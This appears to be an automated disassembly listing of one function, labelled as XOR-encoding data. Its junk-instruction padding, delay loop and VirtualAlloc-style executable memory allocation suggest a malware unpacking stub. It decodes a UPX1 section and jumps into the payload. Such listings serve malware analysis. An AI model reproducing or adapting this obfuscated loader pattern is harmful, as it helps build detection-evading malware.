Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xebd9cec2
dec ebx
mov edx, 0xed9b708f
dec ebx
popal
add edx, 0xe065adf2
dec ebx
add ebx, 0x971c5658
mov esi, 0
mov eax, ecx
inc edx
dec edx
mov edi, eax
and edx, ebx
add edx, edx
inc edx
mov ecx, edi
add edx, 0xc64545ad
add ebx, ebx
add esi, 1
or edx, edx
or edx, edx
add edx, ebx
cmp esi, 0x1004945
jne 0xa789cc
not edx
and ebx, edx
inc ebx
mov ebx, edx
and edx, edx
add ebx, 0x97b9895
mov esi, 0xa78796
not ecx
add ecx, 0x1eab0f3
sub eax, edx
mov edi, 0xa7898a
and edx, eax
sub ecx, edx
not eax
mov ebx, dword [esi]
add eax, 0x1732f3ff
sub edx, 1
add ecx, 1
and ebx, 0xff
sub eax, 0x31084e19
sub edx, ecx
xor dword [edi], ebx
mov edx, ecx
inc edx
inc edi
mov ecx, eax
mov edx, eax
inc esi
mov eax, 0xa0110f0e
sub edx, ecx
dec edx
cmp edi, entry0
jl 0xa78a22
sub edx, 1
mov edx, 0x8284f6
or eax, edx
mov edx, 0xae2b9c41
mov edi, 0x6ba14ee0
sub edi, 0x49e37a70
dec edx
mov ebx, 0xa7898e
sub edx, 0x530aee6f
dec edx
not ecx
mov ebx, dword [ebx]
not ecx
or esi, esi
mov esi, ecx
mov ebx, dword [ebx]
dec edi
sub ecx, 0xeb668e7f
or edx, edx
sub esp, 4
mov dword [esp], ebx
and edi, esi
dec edx
add edi, 0x6e97c74b
mov ebx, 0xa7898a
sub ecx, 0x9b830f2b
mov esi, edx
or esi, edx
mov ebx, dword [ebx]
or edx, esi
inc esi
mov ebx, dword [ebx]
or ecx, ecx
not edi
push 0xa78992
add edx, ecx
add edx, 1
call ebx
sub ecx, 0x94a43aa4
add esi, 0x712933a0
or edi, edx
pop ebx
inc esi
dec edi
sub esp, 4
mov dword [esp], 0xa7899f
add edi, 0x7a19db29
dec edx
dec edi
push eax
or esi, edi
add edx, 0x108bf4d3
mov edi, ecx
call ebx
add edx, 1
and edx, edi
or ecx, ecx
push 0x40
and edi, esi
not esi
sub esi, ecx
push 0x3000
add ecx, 0xb9148f9d
and edi, edx
push 0x20000187
sub ecx, 1
mov edi, 0x1c84667d
or esi, edx
push 0
sub edx, 0x8e0d6920
sub edi, edx
not esi
call eax
not edx
add ecx, 1
add eax, 0x2000011f
or esi, edi
sub edi, ecx
mov ebx, 0x6416ed36
add ecx, edi
inc edx
mov ecx, edi
mov dword [eax], ebx
add edx, 0xe6ac703b
add edi, ecx
or ecx, esi
mov ebx, dword [eax]
not esi
sub edx, esi
cmp ebx, 0x6416ed36
je 0xa78b8c
mov edx, 0
mov byte [edx], al
and esi, ecx
and edx, edi
add ecx, 0x605ea6eb
dec edi
add ebx, edx
mov edx, 0xc14c7e03
not ebx
mov eax, section.UPX1
sub edx, 1
or ebx, edx
mov edi, 0xa78795
or edx, ebx
add ebx, 1
not edx
mov ecx, 0
mov ebx, 0x7067f587
not ebx
mov esi, 0xa78796
not ebx
and ebx, ebx
lea esi, [esi + ecx]
sub ebx, edx
sub edx, 0xfa1bddc2
sub ebx, 0x333eeb04
mov esi, dword [esi]
or edx, edx
add ebx, 1
mov edx, 0x54df2300
and esi, 0xff
sub ebx, 0xff2f5e72
mov edx, 0x1ea7e430
inc ecx
sub edx, ebx
sub ebx, 0x487734
and ebx, ebx
cmp ecx, 0x1f4
jne 0xa78c1a
mov ecx, 0
add edx, 0x2d0ce0d1
mov edx, 0x3ff64d07
add edx, ebx
dec ebx
xor dword [eax], esi
not edx
or ebx, edx
sub ebx, 1
add eax, 2
inc ebx
mov ebx, 0x20b28295
cmp eax, edi
jl 0xa78bc8
add edx, ebx
or ebx, ebx
sub ebx, edx
add edx, 1
dec ebx
mov esi, section.UPX1
not eax
mov eax, edi
not eax
mov edx, section.UPX1
mov edi, eax
mov edi, eax
and eax, eax
mov ecx, 0xa78795
add edi, edi
mov edi, 0xf71db608
mov eax, 0x181944e3
mov ebx, 0
mov edi, 0x835fa027
add eax, 0x544cfc7a
mov bl, byte [edx]
not edi
add edi, 0xcbb13ac5
mov byte [esi], bl
sub edi, 0xca7cac24
mov eax, edi
inc esi
sub edi, eax
or eax, eax
add edx, 2
inc eax
add eax, eax
cmp edx, ecx
jle 0xa78c8c
mov eax, edi
dec edi
add ebx, ebx
add ebx, 0x54acdaa1
add edx, edx
push 0x8dc6a0
mov edx, 0x35d209f0
and edx, ebx
inc ebx
ret